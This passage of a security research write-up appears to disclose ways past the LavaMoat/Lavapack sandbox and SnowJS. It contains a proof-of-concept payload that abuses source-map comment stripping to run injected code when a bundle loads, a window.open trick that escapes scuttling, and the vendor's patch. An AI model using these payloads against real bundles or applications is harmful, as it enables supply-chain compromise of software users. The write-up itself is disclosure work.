err",{"type":21,"tag":153,"props":50813,"children":50814},{"style":160},[50815],{"type":26,"value":1759},{"type":21,"tag":153,"props":50817,"children":50818},{"class":155,"line":542},[50819,50823,50828,50832,50836,50840,50844,50848,50853],{"type":21,"tag":153,"props":50820,"children":50821},{"style":1751},[50822],{"type":26,"value":19687},{"type":21,"tag":153,"props":50824,"children":50825},{"style":181},[50826],{"type":26,"value":50827}," errorInfo",{"type":21,"tag":153,"props":50829,"children":50830},{"style":160},[50831],{"type":26,"value":189},{"type":21,"tag":153,"props":50833,"children":50834},{"style":192},[50835],{"type":26,"value":35363},{"type":21,"tag":153,"props":50837,"children":50838},{"style":160},[50839],{"type":26,"value":1670},{"type":21,"tag":153,"props":50841,"children":50842},{"style":192},[50843],{"type":26,"value":50234},{"type":21,"tag":153,"props":50845,"children":50846},{"style":160},[50847],{"type":26,"value":1670},{"type":21,"tag":153,"props":50849,"children":50850},{"style":192},[50851],{"type":26,"value":50852},"opts",{"type":21,"tag":153,"props":50854,"children":50855},{"style":160},[50856],{"type":26,"value":530},{"type":21,"tag":153,"props":50858,"children":50859},{"class":155,"line":762},[50860],{"type":21,"tag":153,"props":50861,"children":50862},{"style":160},[50863],{"type":26,"value":548},{"type":21,"tag":22,"props":50865,"children":50866},{},[50867,50869,50873,50875,50881,50883,50888],{"type":26,"value":50868},"Interestingly, it ",{"type":21,"tag":5302,"props":50870,"children":50871},{},[50872],{"type":26,"value":6706},{"type":26,"value":50874}," possible to inject a ",{"type":21,"tag":78,"props":50876,"children":50878},{"className":50877},[],[50879],{"type":26,"value":50880},"}); (() => {",{"type":26,"value":50882}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":21,"tag":78,"props":50884,"children":50886},{"className":50885},[],[50887],{"type":26,"value":50404},{"type":26,"value":50889}," sandbox of Lavapack.",{"type":21,"tag":114,"props":50891,"children":50893},{"id":50892},"sourcemap-the-syntax-killer",[50894],{"type":26,"value":50895},"SourceMap: The Syntax Killer",{"type":21,"tag":22,"props":50897,"children":50898},{},[50899,50901,50908],{"type":26,"value":50900},"Lavapack has a feature to extract source maps files from the code using ",{"type":21,"tag":29,"props":50902,"children":50905},{"href":50903,"rel":50904},"https://www.npmjs.com/package/convert-source-map",[33],[50906],{"type":26,"value":50907},"convert-source-map",{"type":26,"value":50909}," npm package:",{"type":21,"tag":143,"props":50911,"children":50913},{"className":34058,"code":50912,"language":34060,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n  const converter = convertSourceMap.fromSource(sourceCode)\n  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n  const maps = converter && converter.toObject()\n  const code = convertSourceMap.removeComments(sourceCode)\n  return { code, maps }\n}\n",[50914],{"type":21,"tag":78,"props":50915,"children":50916},{"__ignoreMap":7},[50917,50941,50983,50991,51032,51073,51101],{"type":21,"tag":153,"props":50918,"children":50919},{"class":155,"line":156},[50920,50924,50929,50933,50937],{"type":21,"tag":153,"props":50921,"children":50922},{"style":170},[50923],{"type":26,"value":34072},{"type":21,"tag":153,"props":50925,"children":50926},{"style":181},[50927],{"type":26,"value":50928}," extractSourceMaps",{"type":21,"tag":153,"props":50930,"children":50931},{"style":160},[50932],{"type":26,"value":189},{"type":21,"tag":153,"props":50934,"children":50935},{"style":192},[50936],{"type":26,"value":40707},{"type":21,"tag":153,"props":50938,"children":50939},{"style":160},[50940],{"type":26,"value":2659},{"type":21,"tag":153,"props":50942,"children":50943},{"class":155,"line":166},[50944,50948,50953,50957,50962,50966,50971,50975,50979],{"type":21,"tag":153,"props":50945,"children":50946},{"style":170},[50947],{"type":26,"value":38881},{"type":21,"tag":153,"props":50949,"children":50950},{"style":192},[50951],{"type":26,"value":50952}," converter",{"type":21,"tag":153,"props":50954,"children":50955},{"style":198},[50956],{"type":26,"value":255},{"type":21,"tag":153,"props":50958,"children":50959},{"style":192},[50960],{"type":26,"value":50961}," convertSourceMap",{"type":21,"tag":153,"props":50963,"children":50964},{"style":160},[50965],{"type":26,"value":355},{"type":21,"tag":153,"props":50967,"children":50968},{"style":181},[50969],{"type":26,"value":50970},"fromSource",{"type":21,"tag":153,"props":50972,"children":50973},{"style":160},[50974],{"type":26,"value":189},{"type":21,"tag":153,"props":50976,"children":50977},{"style":192},[50978],{"type":26,"value":40707},{"type":21,"tag":153,"props":50980,"children":50981},{"style":160},[50982],{"type":26,"value":5909},{"type":21,"tag":153,"props":50984,"children":50985},{"class":155,"line":225},[50986],{"type":21,"tag":153,"props":50987,"children":50988},{"style":3050},[50989],{"type":26,"value":50990},"  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":21,"tag":153,"props":50992,"children":50993},{"class":155,"line":239},[50994,50998,51003,51007,51011,51015,51019,51023,51028],{"type":21,"tag":153,"props":50995,"children":50996},{"style":170},[50997],{"type":26,"value":38881},{"type":21,"tag":153,"props":50999,"children":51000},{"style":192},[51001],{"type":26,"value":51002}," maps",{"type":21,"tag":153,"props":51004,"children":51005},{"style":198},[51006],{"type":26,"value":255},{"type":21,"tag":153,"props":51008,"children":51009},{"style":192},[51010],{"type":26,"value":50952},{"type":21,"tag":153,"props":51012,"children":51013},{"style":198},[51014],{"type":26,"value":16893},{"type":21,"tag":153,"props":51016,"children":51017},{"style":192},[51018],{"type":26,"value":50952},{"type":21,"tag":153,"props":51020,"children":51021},{"style":160},[51022],{"type":26,"value":355},{"type":21,"tag":153,"props":51024,"children":51025},{"style":181},[51026],{"type":26,"value":51027},"toObject",{"type":21,"tag":153,"props":51029,"children":51030},{"style":160},[51031],{"type":26,"value":10462},{"type":21,"tag":153,"props":51033,"children":51034},{"class":155,"line":382},[51035,51039,51044,51048,51052,51056,51061,51065,51069],{"type":21,"tag":153,"props":51036,"children":51037},{"style":170},[51038],{"type":26,"value":38881},{"type":21,"tag":153,"props":51040,"children":51041},{"style":192},[51042],{"type":26,"value":51043}," code",{"type":21,"tag":153,"props":51045,"children":51046},{"style":198},[51047],{"type":26,"value":255},{"type":21,"tag":153,"props":51049,"children":51050},{"style":192},[51051],{"type":26,"value":50961},{"type":21,"tag":153,"props":51053,"children":51054},{"style":160},[51055],{"type":26,"value":355},{"type":21,"tag":153,"props":51057,"children":51058},{"style":181},[51059],{"type":26,"value":51060},"removeComments",{"type":21,"tag":153,"props":51062,"children":51063},{"style":160},[51064],{"type":26,"value":189},{"type":21,"tag":153,"props":51066,"children":51067},{"style":192},[51068],{"type":26,"value":40707},{"type":21,"tag":153,"props":51070,"children":51071},{"style":160},[51072],{"type":26,"value":5909},{"type":21,"tag":153,"props":51074,"children":51075},{"class":155,"line":501},[51076,51080,51084,51088,51092,51097],{"type":21,"tag":153,"props":51077,"children":51078},{"style":1751},[51079],{"type":26,"value":41890},{"type":21,"tag":153,"props":51081,"children":51082},{"style":160},[51083],{"type":26,"value":12308},{"type":21,"tag":153,"props":51085,"children":51086},{"style":192},[51087],{"type":26,"value":78},{"type":21,"tag":153,"props":51089,"children":51090},{"style":160},[51091],{"type":26,"value":1670},{"type":21,"tag":153,"props":51093,"children":51094},{"style":192},[51095],{"type":26,"value":51096},"maps",{"type":21,"tag":153,"props":51098,"children":51099},{"style":160},[51100],{"type":26,"value":12318},{"type":21,"tag":153,"props":51102,"children":51103},{"class":155,"line":533},[51104],{"type":21,"tag":153,"props":51105,"children":51106},{"style":160},[51107],{"type":26,"value":548},{"type":21,"tag":22,"props":51109,"children":51110},{},[51111,51113,51118,51120,51125],{"type":26,"value":51112},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":21,"tag":78,"props":51114,"children":51116},{"className":51115},[],[51117],{"type":26,"value":50555},{"type":26,"value":51119}," stage. Reviewing the ",{"type":21,"tag":78,"props":51121,"children":51123},{"className":51122},[],[51124],{"type":26,"value":50907},{"type":26,"value":51126}," code, we can see exactly how this happens.",{"type":21,"tag":143,"props":51128,"children":51130},{"className":34058,"code":51129,"language":34060,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n  get: function getCommentRegex () {\n    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n    return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n  }\n});\n\nexports.removeComments = function (src) {\n  return src.replace(exports.commentRegex, '');\n};\n",[51131],{"type":21,"tag":78,"props":51132,"children":51133},{"__ignoreMap":7},[51134,51173,51199,51207,51421,51428,51435,51442,51477,51527],{"type":21,"tag":153,"props":51135,"children":51136},{"class":155,"line":156},[51137,51142,51146,51151,51155,51159,51163,51168],{"type":21,"tag":153,"props":51138,"children":51139},{"style":192},[51140],{"type":26,"value":51141},"Object",{"type":21,"tag":153,"props":51143,"children":51144},{"style":160},[51145],{"type":26,"value":355},{"type":21,"tag":153,"props":51147,"children":51148},{"style":181},[51149],{"type":26,"value":51150},"defineProperty",{"type":21,"tag":153,"props":51152,"children":51153},{"style":160},[51154],{"type":26,"value":189},{"type":21,"tag":153,"props":51156,"children":51157},{"style":214},[51158],{"type":26,"value":40579},{"type":21,"tag":153,"props":51160,"children":51161},{"style":160},[51162],{"type":26,"value":1670},{"type":21,"tag":153,"props":51164,"children":51165},{"style":671},[51166],{"type":26,"value":51167},"'commentRegex'",{"type":21,"tag":153,"props":51169,"children":51170},{"style":160},[51171],{"type":26,"value":51172},", {\n",{"type":21,"tag":153,"props":51174,"children":51175},{"class":155,"line":166},[51176,51181,51185,51189,51194],{"type":21,"tag":153,"props":51177,"children":51178},{"style":181},[51179],{"type":26,"value":51180},"  get",{"type":21,"tag":153,"props":51182,"children":51183},{"style":192},[51184],{"type":26,"value":201},{"type":21,"tag":153,"props":51186,"children":51187},{"style":170},[51188],{"type":26,"value":40907},{"type":21,"tag":153,"props":51190,"children":51191},{"style":181},[51192],{"type":26,"value":51193}," getCommentRegex",{"type":21,"tag":153,"props":51195,"children":51196},{"style":160},[51197],{"type":26,"value":51198}," () {\n",{"type":21,"tag":153,"props":51200,"children":51201},{"class":155,"line":225},[51202],{"type":21,"tag":153,"props":51203,"children":51204},{"style":3050},[51205],{"type":26,"value":51206},"    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":21,"tag":153,"props":51208,"children":51209},{"class":155,"line":239},[51210,51214,51220,51225,51230,51235,51239,51244,51249,51254,51258,51262,51267,51272,51277,51282,51286,51290,51294,51299,51303,51308,51313,51318,51323,51327,51331,51335,51339,51343,51347,51351,51355,51360,51365,51369,51374,51379,51383,51387,51391,51395,51400,51404,51408,51412,51417],{"type":21,"tag":153,"props":51211,"children":51212},{"style":1751},[51213],{"type":26,"value":19687},{"type":21,"tag":153,"props":51215,"children":51217},{"style":51216},"--shiki-default:#D16969",[51218],{"type":26,"value":51219}," /",{"type":21,"tag":153,"props":51221,"children":51222},{"style":181},[51223],{"type":26,"value":51224},"^",{"type":21,"tag":153,"props":51226,"children":51227},{"style":51216},[51228],{"type":26,"value":51229},"\\s",{"type":21,"tag":153,"props":51231,"children":51232},{"style":50663},[51233],{"type":26,"value":51234},"*?\\/",{"type":21,"tag":153,"props":51236,"children":51237},{"style":671},[51238],{"type":26,"value":211},{"type":21,"tag":153,"props":51240,"children":51241},{"style":50663},[51242],{"type":26,"value":51243},"\\/\\*",{"type":21,"tag":153,"props":51245,"children":51246},{"style":671},[51247],{"type":26,"value":51248},"][",{"type":21,"tag":153,"props":51250,"children":51251},{"style":51216},[51252],{"type":26,"value":51253},"@#",{"type":21,"tag":153,"props":51255,"children":51256},{"style":671},[51257],{"type":26,"value":350},{"type":21,"tag":153,"props":51259,"children":51260},{"style":51216},[51261],{"type":26,"value":51229},{"type":21,"tag":153,"props":51263,"children":51264},{"style":50663},[51265],{"type":26,"value":51266},"+?",{"type":21,"tag":153,"props":51268,"children":51269},{"style":51216},[51270],{"type":26,"value":51271},"sourceMappingURL=data:",{"type":21,"tag":153,"props":51273,"children":51274},{"style":671},[51275],{"type":26,"value":51276},"(((?:",{"type":21,"tag":153,"props":51278,"children":51279},{"style":51216},[51280],{"type":26,"value":51281},"application",{"type":21,"tag":153,"props":51283,"children":51284},{"style":181},[51285],{"type":26,"value":13136},{"type":21,"tag":153,"props":51287,"children":51288},{"style":51216},[51289],{"type":26,"value":26},{"type":21,"tag":153,"props":51291,"children":51292},{"style":671},[51293],{"type":26,"value":2071},{"type":21,"tag":153,"props":51295,"children":51296},{"style":50663},[51297],{"type":26,"value":51298},"\\/",{"type":21,"tag":153,"props":51300,"children":51301},{"style":51216},[51302],{"type":26,"value":36691},{"type":21,"tag":153,"props":51304,"children":51305},{"style":671},[51306],{"type":26,"value":51307},")(?:",{"type":21,"tag":153,"props":51309,"children":51310},{"style":51216},[51311],{"type":26,"value":51312},";charset=",{"type":21,"tag":153,"props":51314,"children":51315},{"style":671},[51316],{"type":26,"value":51317},"([^",{"type":21,"tag":153,"props":51319,"children":51320},{"style":51216},[51321],{"type":26,"value":51322},";,",{"type":21,"tag":153,"props":51324,"children":51325},{"style":671},[51326],{"type":26,"value":350},{"type":21,"tag":153,"props":51328,"children":51329},{"style":50663},[51330],{"type":26,"value":51266},{"type":21,"tag":153,"props":51332,"children":51333},{"style":671},[51334],{"type":26,"value":2071},{"type":21,"tag":153,"props":51336,"children":51337},{"style":50663},[51338],{"type":26,"value":2022},{"type":21,"tag":153,"props":51340,"children":51341},{"style":671},[51342],{"type":26,"value":2071},{"type":21,"tag":153,"props":51344,"children":51345},{"style":50663},[51346],{"type":26,"value":2022},{"type":21,"tag":153,"props":51348,"children":51349},{"style":671},[51350],{"type":26,"value":2071},{"type":21,"tag":153,"props":51352,"children":51353},{"style":50663},[51354],{"type":26,"value":2022},{"type":21,"tag":153,"props":51356,"children":51357},{"style":671},[51358],{"type":26,"value":51359},"(?:",{"type":21,"tag":153,"props":51361,"children":51362},{"style":51216},[51363],{"type":26,"value":51364},";",{"type":21,"tag":153,"props":51366,"children":51367},{"style":671},[51368],{"type":26,"value":189},{"type":21,"tag":153,"props":51370,"children":51371},{"style":51216},[51372],{"type":26,"value":51373},"base64",{"type":21,"tag":153,"props":51375,"children":51376},{"style":671},[51377],{"type":26,"value":51378},"))",{"type":21,"tag":153,"props":51380,"children":51381},{"style":50663},[51382],{"type":26,"value":2022},{"type":21,"tag":153,"props":51384,"children":51385},{"style":51216},[51386],{"type":26,"value":6855},{"type":21,"tag":153,"props":51388,"children":51389},{"style":671},[51390],{"type":26,"value":189},{"type":21,"tag":153,"props":51392,"children":51393},{"style":51216},[51394],{"type":26,"value":355},{"type":21,"tag":153,"props":51396,"children":51397},{"style":50663},[51398],{"type":26,"value":51399},"*?",{"type":21,"tag":153,"props":51401,"children":51402},{"style":671},[51403],{"type":26,"value":2071},{"type":21,"tag":153,"props":51405,"children":51406},{"style":181},[51407],{"type":26,"value":4421},{"type":21,"tag":153,"props":51409,"children":51410},{"style":51216},[51411],{"type":26,"value":7310},{"type":21,"tag":153,"props":51413,"children":51414},{"style":170},[51415],{"type":26,"value":51416},"mg",{"type":21,"tag":153,"props":51418,"children":51419},{"style":160},[51420],{"type":26,"value":1759},{"type":21,"tag":153,"props":51422,"children":51423},{"class":155,"line":382},[51424],{"type":21,"tag":153,"props":51425,"children":51426},{"style":160},[51427],{"type":26,"value":8601},{"type":21,"tag":153,"props":51429,"children":51430},{"class":155,"line":501},[51431],{"type":21,"tag":153,"props":51432,"children":51433},{"style":160},[51434],{"type":26,"value":38031},{"type":21,"tag":153,"props":51436,"children":51437},{"class":155,"line":533},[51438],{"type":21,"tag":153,"props":51439,"children":51440},{"emptyLinePlaceholder":16},[51441],{"type":26,"value":759},{"type":21,"tag":153,"props":51443,"children":51444},{"class":155,"line":542},[51445,51449,51453,51457,51461,51465,51469,51473],{"type":21,"tag":153,"props":51446,"children":51447},{"style":214},[51448],{"type":26,"value":40579},{"type":21,"tag":153,"props":51450,"children":51451},{"style":160},[51452],{"type":26,"value":355},{"type":21,"tag":153,"props":51454,"children":51455},{"style":181},[51456],{"type":26,"value":51060},{"type":21,"tag":153,"props":51458,"children":51459},{"style":198},[51460],{"type":26,"value":255},{"type":21,"tag":153,"props":51462,"children":51463},{"style":170},[51464],{"type":26,"value":40907},{"type":21,"tag":153,"props":51466,"children":51467},{"style":160},[51468],{"type":26,"value":5820},{"type":21,"tag":153,"props":51470,"children":51471},{"style":192},[51472],{"type":26,"value":35363},{"type":21,"tag":153,"props":51474,"children":51475},{"style":160},[51476],{"type":26,"value":2659},{"type":21,"tag":153,"props":51478,"children":51479},{"class":155,"line":762},[51480,51484,51488,51492,51497,51501,51505,51509,51514,51518,51523],{"type":21,"tag":153,"props":51481,"children":51482},{"style":1751},[51483],{"type":26,"value":41890},{"type":21,"tag":153,"props":51485,"children":51486},{"style":192},[51487],{"type":26,"value":50651},{"type":21,"tag":153,"props":51489,"children":51490},{"style":160},[51491],{"type":26,"value":355},{"type":21,"tag":153,"props":51493,"children":51494},{"style":181},[51495],{"type":26,"value":51496},"replace",{"type":21,"tag":153,"props":51498,"children":51499},{"style":160},[51500],{"type":26,"value":189},{"type":21,"tag":153,"props":51502,"children":51503},{"style":214},[51504],{"type":26,"value":40579},{"type":21,"tag":153,"props":51506,"children":51507},{"style":160},[51508],{"type":26,"value":355},{"type":21,"tag":153,"props":51510,"children":51511},{"style":192},[51512],{"type":26,"value":51513},"commentRegex",{"type":21,"tag":153,"props":51515,"children":51516},{"style":160},[51517],{"type":26,"value":1670},{"type":21,"tag":153,"props":51519,"children":51520},{"style":671},[51521],{"type":26,"value":51522},"''",{"type":21,"tag":153,"props":51524,"children":51525},{"style":160},[51526],{"type":26,"value":530},{"type":21,"tag":153,"props":51528,"children":51529},{"class":155,"line":776},[51530],{"type":21,"tag":153,"props":51531,"children":51532},{"style":160},[51533],{"type":26,"value":19275},{"type":21,"tag":22,"props":51535,"children":51536},{},[51537,51539,51545],{"type":26,"value":51538},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":21,"tag":78,"props":51540,"children":51542},{"className":51541},[],[51543],{"type":26,"value":51544},"/*",{"type":26,"value":51546},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":21,"tag":114,"props":51548,"children":51550},{"id":51549},"the-bypass",[51551],{"type":26,"value":51552},"The Bypass",{"type":21,"tag":22,"props":51554,"children":51555},{},[51556,51558,51563,51565,51570],{"type":26,"value":51557},"By abusing the ",{"type":21,"tag":78,"props":51559,"children":51561},{"className":51560},[],[51562],{"type":26,"value":51060},{"type":26,"value":51564}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":21,"tag":78,"props":51566,"children":51568},{"className":51567},[],[51569],{"type":26,"value":50404},{"type":26,"value":51571}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":21,"tag":143,"props":51573,"children":51575},{"className":34058,"code":51574,"language":34060,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n    package: \"xpl\",\n    file: \"node_modules/xpl/index.js\",\n    test: alert(document.domain),\n    test1: () => { () => { () => { () => {\n\n/*\n*/\n",[51576],{"type":21,"tag":78,"props":51577,"children":51578},{"__ignoreMap":7},[51579,51587,51594,51602,51610,51618,51626,51634,51642,51649,51657],{"type":21,"tag":153,"props":51580,"children":51581},{"class":155,"line":156},[51582],{"type":21,"tag":153,"props":51583,"children":51584},{"style":3050},[51585],{"type":26,"value":51586},"/*# sourceMappingURL=data:,{}\n",{"type":21,"tag":153,"props":51588,"children":51589},{"class":155,"line":166},[51590],{"type":21,"tag":153,"props":51591,"children":51592},{"emptyLinePlaceholder":16},[51593],{"type":26,"value":759},{"type":21,"tag":153,"props":51595,"children":51596},{"class":155,"line":225},[51597],{"type":21,"tag":153,"props":51598,"children":51599},{"style":3050},[51600],{"type":26,"value":51601},"}}}}\n",{"type":21,"tag":153,"props":51603,"children":51604},{"class":155,"line":239},[51605],{"type":21,"tag":153,"props":51606,"children":51607},{"style":3050},[51608],{"type":26,"value":51609},"}, {\n",{"type":21,"tag":153,"props":51611,"children":51612},{"class":155,"line":382},[51613],{"type":21,"tag":153,"props":51614,"children":51615},{"style":3050},[51616],{"type":26,"value":51617},"    package: \"xpl\",\n",{"type":21,"tag":153,"props":51619,"children":51620},{"class":155,"line":501},[51621],{"type":21,"tag":153,"props":51622,"children":51623},{"style":3050},[51624],{"type":26,"value":51625},"    file: \"node_modules/xpl/index.js\",\n",{"type":21,"tag":153,"props":51627,"children":51628},{"class":155,"line":533},[51629],{"type":21,"tag":153,"props":51630,"children":51631},{"style":3050},[51632],{"type":26,"value":51633},"    test: alert(document.domain),\n",{"type":21,"tag":153,"props":51635,"children":51636},{"class":155,"line":542},[51637],{"type":21,"tag":153,"props":51638,"children":51639},{"style":3050},[51640],{"type":26,"value":51641},"    test1: () => { () => { () => { () => {\n",{"type":21,"tag":153,"props":51643,"children":51644},{"class":155,"line":762},[51645],{"type":21,"tag":153,"props":51646,"children":51647},{"emptyLinePlaceholder":16},[51648],{"type":26,"value":759},{"type":21,"tag":153,"props":51650,"children":51651},{"class":155,"line":776},[51652],{"type":21,"tag":153,"props":51653,"children":51654},{"style":3050},[51655],{"type":26,"value":51656},"/*\n",{"type":21,"tag":153,"props":51658,"children":51659},{"class":155,"line":795},[51660],{"type":21,"tag":153,"props":51661,"children":51662},{"style":3050},[51663],{"type":26,"value":51664},"*/\n",{"type":21,"tag":22,"props":51666,"children":51667},{},[51668],{"type":26,"value":51669},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":21,"tag":114,"props":51671,"children":51673},{"id":51672},"lavapack-patch",[51674],{"type":26,"value":51675},"Lavapack Patch",{"type":21,"tag":22,"props":51677,"children":51678},{},[51679,51681,51687],{"type":26,"value":51680},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":21,"tag":78,"props":51682,"children":51684},{"className":51683},[],[51685],{"type":26,"value":51686},"assertValidJS",{"type":26,"value":51688},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":21,"tag":22,"props":51690,"children":51691},{},[51692,51694,51701],{"type":26,"value":51693},"The patch was introduced in commit ",{"type":21,"tag":29,"props":51695,"children":51698},{"href":51696,"rel":51697},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[33],[51699],{"type":26,"value":51700},"9c38cd4",{"type":26,"value":355},{"type":21,"tag":143,"props":51703,"children":51705},{"className":43052,"code":51704,"language":43054,"meta":7,"style":7},"+ function assertValidJS(code) {\n+  try {\n+    new Function(code)\n+  } catch (err) {\n+    throw new Error(`Invalid JavaScript: ${err.message}`)\n+  }\n+ }\n\n+  // additional layer of syntax checking independent of browserify\n+  assertValidJS(sourceMeta.code) \n\n",[51706],{"type":21,"tag":78,"props":51707,"children":51708},{"__ignoreMap":7},[51709,51717,51725,51733,51741,51749,51757,51765,51772,51780],{"type":21,"tag":153,"props":51710,"children":51711},{"class":155,"line":156},[51712],{"type":21,"tag":153,"props":51713,"children":51714},{"style":300},[51715],{"type":26,"value":51716},"+ function assertValidJS(code) {\n",{"type":21,"tag":153,"props":51718,"children":51719},{"class":155,"line":166},[51720],{"type":21,"tag":153,"props":51721,"children":51722},{"style":300},[51723],{"type":26,"value":51724},"+  try {\n",{"type":21,"tag":153,"props":51726,"children":51727},{"class":155,"line":225},[51728],{"type":21,"tag":153,"props":51729,"children":51730},{"style":300},[51731],{"type":26,"value":51732},"+    new Function(code)\n",{"type":21,"tag":153,"props":51734,"children":51735},{"class":155,"line":239},[51736],{"type":21,"tag":153,"props":51737,"children":51738},{"style":300},[51739],{"type":26,"value":51740},"+  } catch (err) {\n",{"type":21,"tag":153,"props":51742,"children":51743},{"class":155,"line":382},[51744],{"type":21,"tag":153,"props":51745,"children":51746},{"style":300},[51747],{"type":26,"value":51748},"+    throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":21,"tag":153,"props":51750,"children":51751},{"class":155,"line":501},[51752],{"type":21,"tag":153,"props":51753,"children":51754},{"style":300},[51755],{"type":26,"value":51756},"+  }\n",{"type":21,"tag":153,"props":51758,"children":51759},{"class":155,"line":533},[51760],{"type":21,"tag":153,"props":51761,"children":51762},{"style":300},[51763],{"type":26,"value":51764},"+ }\n",{"type":21,"tag":153,"props":51766,"children":51767},{"class":155,"line":542},[51768],{"type":21,"tag":153,"props":51769,"children":51770},{"emptyLinePlaceholder":16},[51771],{"type":26,"value":759},{"type":21,"tag":153,"props":51773,"children":51774},{"class":155,"line":762},[51775],{"type":21,"tag":153,"props":51776,"children":51777},{"style":300},[51778],{"type":26,"value":51779},"+  // additional layer of syntax checking independent of browserify\n",{"type":21,"tag":153,"props":51781,"children":51782},{"class":155,"line":776},[51783],{"type":21,"tag":153,"props":51784,"children":51785},{"style":300},[51786],{"type":26,"value":51787},"+  assertValidJS(sourceMeta.code)\n",{"type":21,"tag":66,"props":51789,"children":51791},{"id":51790},"hacking-js-realms",[51792],{"type":26,"value":51793},"Hacking JS Realms",{"type":21,"tag":22,"props":51795,"children":51796},{},[51797,51799,51804],{"type":26,"value":51798},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":21,"tag":78,"props":51800,"children":51802},{"className":51801},[],[51803],{"type":26,"value":40110},{"type":26,"value":51805}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":21,"tag":143,"props":51807,"children":51809},{"className":34058,"code":51808,"language":34060,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[51810],{"type":21,"tag":78,"props":51811,"children":51812},{"__ignoreMap":7},[51813,51855],{"type":21,"tag":153,"props":51814,"children":51815},{"class":155,"line":156},[51816,51820,51825,51829,51833,51837,51842,51846,51851],{"type":21,"tag":153,"props":51817,"children":51818},{"style":170},[51819],{"type":26,"value":5085},{"type":21,"tag":153,"props":51821,"children":51822},{"style":192},[51823],{"type":26,"value":51824}," w",{"type":21,"tag":153,"props":51826,"children":51827},{"style":198},[51828],{"type":26,"value":255},{"type":21,"tag":153,"props":51830,"children":51831},{"style":192},[51832],{"type":26,"value":34103},{"type":21,"tag":153,"props":51834,"children":51835},{"style":160},[51836],{"type":26,"value":355},{"type":21,"tag":153,"props":51838,"children":51839},{"style":181},[51840],{"type":26,"value":51841},"open",{"type":21,"tag":153,"props":51843,"children":51844},{"style":160},[51845],{"type":26,"value":189},{"type":21,"tag":153,"props":51847,"children":51848},{"style":671},[51849],{"type":26,"value":51850},"'/non_existent'",{"type":21,"tag":153,"props":51852,"children":51853},{"style":160},[51854],{"type":26,"value":530},{"type":21,"tag":153,"props":51856,"children":51857},{"class":155,"line":166},[51858,51863,51867,51871,51875,51879,51883,51887],{"type":21,"tag":153,"props":51859,"children":51860},{"style":192},[51861],{"type":26,"value":51862},"w",{"type":21,"tag":153,"props":51864,"children":51865},{"style":160},[51866],{"type":26,"value":355},{"type":21,"tag":153,"props":51868,"children":51869},{"style":181},[51870],{"type":26,"value":35391},{"type":21,"tag":153,"props":51872,"children":51873},{"style":160},[51874],{"type":26,"value":189},{"type":21,"tag":153,"props":51876,"children":51877},{"style":192},[51878],{"type":26,"value":35401},{"type":21,"tag":153,"props":51880,"children":51881},{"style":160},[51882],{"type":26,"value":355},{"type":21,"tag":153,"props":51884,"children":51885},{"style":192},[51886],{"type":26,"value":35411},{"type":21,"tag":153,"props":51888,"children":51889},{"style":160},[51890],{"type":26,"value":5909},{"type":21,"tag":22,"props":51892,"children":51893},{},[51894,51896,51901],{"type":26,"value":51895},"This opens a new window with a new JS Realm (another ",{"type":21,"tag":78,"props":51897,"children":51899},{"className":51898},[],[51900],{"type":26,"value":40110},{"type":26,"value":51902}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":21,"tag":22,"props":51904,"children":51905},{},[51906,51908,51915],{"type":26,"value":51907},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":21,"tag":29,"props":51909,"children":51912},{"href":51910,"rel":51911},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[33],[51913],{"type":26,"value":51914},"Metamask implementation",{"type":26,"value":2071},{"type":21,"tag":114,"props":51917,"children":51919},{"id":51918},"snowjs-attack-surface",[51920],{"type":26,"value":51921},"SnowJS Attack Surface",{"type":21,"tag":22,"props":51923,"children":51924},{},[51925],{"type":26,"value":51926},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":21,"tag":22,"props":51928,"children":51929},{},[51930,51932,51939],{"type":26,"value":51931},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":21,"tag":29,"props":51933,"children":51936},{"href":51934,"rel":51935},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[33],[51937],{"type":26,"value":51938},"hooked inserters",{"type":26,"value":51940}," functions:",{"type":21,"tag":143,"props":51942,"children":51944},{"className":34058,"code":51943,"language":34060,"meta":7,"style":7},"const map = {\n    Range: ['insertNode'],\n    DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n    Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n    Node: ['appendChild', 'insertBefore', 'replaceChild'],\n    Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n    ShadowRoot: ['innerHTML'],\n    HTMLIFrameElement: 